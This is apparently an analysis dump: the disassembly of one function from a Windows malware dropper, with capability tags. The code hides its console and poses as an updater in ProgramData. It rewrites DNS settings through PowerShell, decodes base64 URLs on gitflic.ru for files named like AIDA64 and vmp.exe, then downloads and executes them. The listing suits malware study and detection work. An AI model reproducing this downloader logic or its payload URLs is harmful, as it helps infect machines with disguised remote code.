Function at 0x140002420
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x13e0]
mov eax, 0x14e0
call fcn.1400051d0
sub rsp, rax
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x13d0], rax
xor r14d, r14d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.C:ProgramDataMicrosoft_FQL_ServerUpdater1.8.0.0updater.exe
lea rcx, [rbp + 0x18]
call fcn.140002bd0
nop
lea rcx, [rbp + 0x18]
call fcn.140001d80
lea rdx, str.C:WindowsSystem32driversetchosts
lea rcx, [rbp - 8]
call fcn.140002bd0
nop
lea rcx, [rbp - 8]
call fcn.140001d80
lea rdx, str._n________Get_NetAdapter__Where_Object____.Status__eq_Up___ForEach_Object__n____________Set_DnsClientServerAddress__InterfaceAlias___.Name__ServerAddresses__1.1.1.1__1.0.0.1__n_________n
lea rcx, [rbp - 0x28]
call fcn.140002bd0
nop
lea rcx, [rbp - 0x28]
call fcn.1400011c0
mov ecx, 8
call fcn.140004280
mov rsi, rax
lea rax, vtable.InternetChecker.0
mov qword [rsi], rax
mov qword [rbp - 0x48], rsi
mov rcx, rsi
mov rax, qword [vtable.InternetChecker.0]
call rax
test al, al
jne 0x1400024f6
mov r14d, 1
jmp 0x14000293f
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov ecx, 0x80
call fcn.140004280
mov rcx, rax
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], 0x7c
mov qword [rbp - 0x50], 0x7f
movaps xmm0, xmmword [str.aHR0cHM6Ly9naXRmbGljLnJ1L3Byb2plY3QvZGhnYmh2YmtzZDM0L2ZlcXdmd2MzNGhoNzU2NTc0L2Jsb2IvcmF3P2ZpbGU9QUlEQTY0X3Y3LjM1LjcwMDAuZXhl]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140006980]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140006990]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400069a0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400069b0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400069c0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400069d0]
movups xmmword [rax + 0x60], xmm0
movsd xmm0, qword [0x1400069e0]
movsd qword [rax + 0x70], xmm0
mov eax, dword [0x1400069e8]
mov dword [rcx + 0x78], eax
mov byte [rcx + 0x7c], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov ecx, 0x70
call fcn.140004280
mov rcx, rax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x78], 0x6c
mov qword [rbp - 0x70], 0x6f
movaps xmm0, xmmword [str.aHR0cHM6Ly9naXRmbGljLnJ1L3Byb2plY3QvZGhnYmh2YmtzZDM0L2ZlcXdmd2MzNGhoNzU2NTc0L2Jsb2IvcmF3P2ZpbGU9dm1wLmV4ZQ]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140006a00]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140006a10]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140006a20]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140006a30]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140006a40]
movups xmmword [rax + 0x50], xmm1
movsd xmm0, qword [0x140006a50]
movsd qword [rax + 0x60], xmm0
mov eax, dword [0x140006a58]
mov dword [rcx + 0x68], eax
mov byte [rcx + 0x6c], 0
mov ecx, 8
call fcn.140004280
mov r15, rax
lea rax, vtable.Base64Decoder.0
mov qword [r15], rax
mov qword [rbp - 0x40], r15
mov ecx, 8
call fcn.140004280
mov r12, rax
lea rax, vtable.FileDownloader.0
mov qword [r12], rax
mov qword [rbp - 0x38], r12
mov ecx, 8
call fcn.140004280
mov r13, rax
lea rax, vtable.FileExecutor.0
mov qword [r13], rax
mov qword [rbp - 0x30], r13
call fcn.140001cb0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x68]
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140003960
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r15
mov rdx, qword [rsp + 0x68]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
cmp rdx, qword [rsp + 0x70]
je 0x1400026ff
call fcn.140003bf0
mov rdi, qword [rsp + 0x68]
add rdi, 0x10
mov qword [rsp + 0x68], rdi
jmp 0x14000270e
lea rcx, [rsp + 0x60]
call fcn.140003960
mov rdi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
cmp rbx, rdi
je 0x140002765
nop dword [rax + rax]
cmp dword [rbx + 8], 0
je 0x14000286b
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbx + 8], eax
je 0x14000285f
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x50], xmm0
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x140002853
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
add rbx, 0x10
cmp rbx, rdi
jne 0x140002720
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x13c4], 0xffffffff
mov dword [rbp + 0x44], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x44], eax
inc rdx
cmp rdx, 0x270
jb 0x140002780
mov dword [rbp + 0x40], 0x270
lea rcx, [rbp + 0x40]
call fcn.140003d00
mov ecx, eax
imul rcx, rcx, 0xfa1
cmp ecx, 0x71e
ja 0x1400027da
lea rcx, [rbp + 0x40]
call fcn.140003d00
mov ecx, eax
imul rcx, rcx, 0xfa1
cmp ecx, 0x71f
jb 0x1400027c0
shr rcx, 0x20
add ecx, 0x800003e8
btc ecx, 0x1f
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140002891
mov rax, rcx
mov rdx, qword [rsp + 0x68]
cmp rcx, rdx
je 0x14000281f
nop word [rax + rax]
cmp dword [rax + 8], 0
jne 0x140002877
add rax, 0x10
cmp rax, rdx
jne 0x140002810
mov rdx, qword [rsp + 0x70]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000287e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000287e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.1400044fc
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r14
mov rax, qword [r13]
mov edx, 1
mov rcx, r13
call qword [rax + 8]
nop
mov rax, qword [r12]
mov edx, 1
mov rcx, r12
call qword [rax + 8]
nop
mov rax, qword [r15]
mov edx, 1
mov rcx, r15
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140002900
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400044fc
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14000293f
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002939
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002939
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400044fc
nop
mov rax, qword [rsi]
mov edx, 1
mov rcx, rsi
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 7
jbe 0x140002992
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000298c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000298c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400044fc
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x1400029d6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400044fc
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 7
jbe 0x140002a19
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a14
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400044fc
mov eax, r14d
mov rcx, qword [rbp + 0x13d0]
xor rcx, rsp
call fcn.140004140
lea r11, [rsp + 0x14e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret